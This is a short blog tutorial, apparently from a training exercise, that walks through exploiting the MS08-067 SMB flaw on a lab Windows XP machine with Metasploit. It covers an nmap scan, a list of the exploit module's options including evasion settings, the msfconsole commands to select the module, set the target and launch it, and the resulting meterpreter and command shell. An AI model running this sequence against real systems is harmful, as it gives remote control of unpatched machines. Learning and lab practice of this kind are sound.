Exploit SMB on windows xp with Metasploit

hahahaha
I can be the task of training again, this time I was told to Exploit smb in windows xp with metasploit.
First, do the information gathering and Service Enumeration
with nmap tool we can find what we are looking for, example : operating systems, open ports, etc..
entered the terminal and type:

root @ bt: ~ # nmap-v-sV 172.16.227.128

and the results:

Spoiler:





as an example of an open port is port 445.

Exploit Module Options

RHOSTThe target address
RPORTSet the SMB service port (default: 445)
SMBPIPEThe pipe name to use (BROWSER, SRVSVC) (default: BROWSER)
CHOSTThe local client address
CPORTThe local client port
ConnectTimeoutMaximum number of seconds to establish a TCP connection
ContextInformationFileThe information file that contains context information
DCERPC::ReadTimeoutThe number of seconds to wait for DCERPC responses
DisablePayloadHandlerDisable the handler code for the selected payload
EnableContextEncodingUse transient context when encoding payloads
NTLM::SendLMAlways send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLMActivate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPNSend an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required
NTLM::UseLMKeyActivate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_sessionActivate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
ProxiesUse a proxy chain
SMB::ChunkSizeThe chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LMThe Native LM to send during authentication
SMB::Native_OSThe Native OS to send during authentication
SMB::VerifySignatureEnforces client-side verification of server response signatures
SMBDirectThe target port is a raw SMB service (not NetBIOS)
SMBDomainThe Windows domain to use for authentication
SMBNameThe NetBIOS hostname (required for port 139 connections)
SMBPassThe password for the specified username
SMBUserThe username to authenticate as
SSLNegotiate SSL for outgoing connections
SSLVersionSpecify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSEEnable detailed status messages
WORKSPACESpecify the workspace for this module
WfsDelayAdditional delay when waiting for a session
DCERPC::fake_bind_multiUse multi-context bind calls
DCERPC::fake_bind_multi_appendSet the number of UUIDs to append the target
DCERPC::fake_bind_multi_prependSet the number of UUIDs to prepend before the target
DCERPC::max_frag_sizeSet the DCERPC packet fragmentation size
DCERPC::smb_pipeioUse a different delivery method for accessing named pipes (accepted: rw, trans)
SMB::obscure_trans_pipe_levelObscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_levelPlace extra padding between headers and data (level 0-3)
SMB::pad_file_levelObscure path names used in open/create (level 0-3)
SMB::pipe_evasionEnable segmented read/writes for SMB Pipes
SMB::pipe_read_max_sizeMaximum buffer size for pipe reads
SMB::pipe_read_min_sizeMinimum buffer size for pipe reads
SMB::pipe_write_max_sizeMaximum buffer size for pipe writes
SMB::pipe_write_min_sizeMinimum buffer size for pipe writes
TCP::max_send_sizeMaxiumum tcp segment size. (0 = disable)
TCP::send_delayDelays inserted before every send. (0 = disable)
second, go to the console metaspoit
type:
root @ bt: ~ # cd / opt/framework/msf3 /
root @ bt :/ # msfconsole opt/framework/msf3
and the result is

to see the smb module, type:
msf> search smb
and this is the result


above we can see the "rank", here we can see the vulnerability in the smb module.
from the start that, great, good, average, low.
I've been looking for a great and matched according to the target OS, and open ports, namely port 445. views of the target OS is Windows XP sp3, then adapted to exploit smb version available.

Third, select the smb module.
for example:
exploit/windows/smb/ms08_067_netapi

and type:

msf> use exploit/windows/smb/ms08_067_netapi
then be entered:

msf exploit (ms08_067_netapi)> show options
settings will appear, as shown in the "Exploit target" will usually aesthetically OS name. because the module can all windows OS

Module options (exploit/windows/smb/ms08_067_netapi):

    Name Current Setting Required Description
    --------------------------------------
    RHOST yes The target address
    RPORT 445 yes Set the SMB service port
    SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Exploit target:

    id Name
    ------
    0 Automatic Targeting

Fourth, enter the address RHOST or Target

msf exploit (ms08_067_netapi)> set RHOST 172.16.227.128
RHOST => 172.16.227.128
and are we waiting for, type:

msf exploit (ms08_067_netapi)> exploit


and are we waiting for, type:

meterpreter> shell

yuhuuuuuuu .....
and ultimately, exploited. into the C: \ WINDOWS \ system32>

Process 2324 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp..

C: \ WINDOWS \ system32>

0 komentar:

Posting Komentar

Diberdayakan oleh Blogger.

Copyright © / scxo2oco71

Template by : Urang-kurai / powered by :blogger